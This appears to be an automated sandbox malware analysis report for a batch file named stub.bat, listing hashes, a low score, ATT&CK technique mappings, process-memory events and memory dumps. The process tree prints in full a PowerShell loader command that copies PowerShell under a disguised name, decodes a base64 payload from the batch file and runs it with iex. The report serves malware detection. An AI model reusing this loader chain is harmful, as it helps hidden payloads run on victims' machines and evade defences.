cd6c05138680001d640a47ed988487797a4b77e95bff6c4f57ae57d294aa53e1

Resubmissions

08/07/2024, 15:19

240708-sqj4jaxflf 10

08/07/2024, 13:40

240708-qyw2ys1gll 8

Analysis

max time kernel
361s
max time network
363s
platform
windows7_x64
resource
win7-20240708-en
resource tags

arch:x64arch:x86image:win7-20240708-enlocale:en-usos:windows7-x64system
submitted
08/07/2024, 15:19

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General

Target

stub.bat
Size

3.4MB
MD5

c27b8c9f05c86817d8d287f0d0bd8698
SHA1

239748a1871a85c7df6733bc24d9497a331aca87
SHA256

cd6c05138680001d640a47ed988487797a4b77e95bff6c4f57ae57d294aa53e1
SHA512

fbd18278c1d8c18360f16cf11db634162cb7e14484853496670ca074e06cbd26f5933b9cd22046063da3f86c294c786c20a00545baa8cbdc76a6af61c55c7bca
SSDEEP

49152:/mThC67EFbMUKiKknefnfIlTYhjwHs0j+VqdyvZWs6sT/Pj5wSe/XDX/DlbfZ5+m:n

Score

3^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
2368	powershell.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2368	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2368	powershell.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 2136 wrote to memory of 2368	2136	cmd.exe	31
PID 2136 wrote to memory of 2368	2136	cmd.exe	31
PID 2136 wrote to memory of 2368	2136	cmd.exe	31

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\stub.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:2136
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -command "Copy-Item -Path C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -Destination $env:LOCALAPPDATA\`$ktm-powershell.exe; $data = Get-Content -Path 'C:\Users\Admin\AppData\Local\Temp\stub.bat'; $lines = $data -split '\n';$last_line = $lines[-1]; $last_line = [Convert]::FromBase64String($last_line.Replace('\n', '')); $last_line = [System.Text.Encoding]::Unicode.GetString($last_line); [System.IO.File]::WriteAllText($env:LOCALAPPDATA + '\\$ktm-loader.ps1', $last_line); $last_line | iex"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2368

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/2368-4-0x000007FEF5C6E000-0x000007FEF5C6F000-memory.dmp

Filesize
4KB

Download
memory/2368-5-0x000000001B4C0000-0x000000001B7A2000-memory.dmp

Filesize
2.9MB

Download
memory/2368-6-0x0000000002340000-0x0000000002348000-memory.dmp

Filesize
32KB

Download
memory/2368-7-0x000007FEF59B0000-0x000007FEF634D000-memory.dmp

Filesize
9.6MB

Download
memory/2368-9-0x000007FEF59B0000-0x000007FEF634D000-memory.dmp

Filesize
9.6MB

Download
memory/2368-10-0x000007FEF59B0000-0x000007FEF634D000-memory.dmp

Filesize
9.6MB

Download
memory/2368-12-0x000007FEF59B0000-0x000007FEF634D000-memory.dmp

Filesize
9.6MB

Download
memory/2368-13-0x000007FEF59B0000-0x000007FEF634D000-memory.dmp

Filesize
9.6MB

Download
memory/2368-14-0x000000001BBC0000-0x000000001BBCE000-memory.dmp

Filesize
56KB

Download
memory/2368-15-0x000000001ACE0000-0x000000001ADD0000-memory.dmp

Filesize
960KB

Download
memory/2368-16-0x000007FEF59B0000-0x000007FEF634D000-memory.dmp

Filesize
9.6MB

Download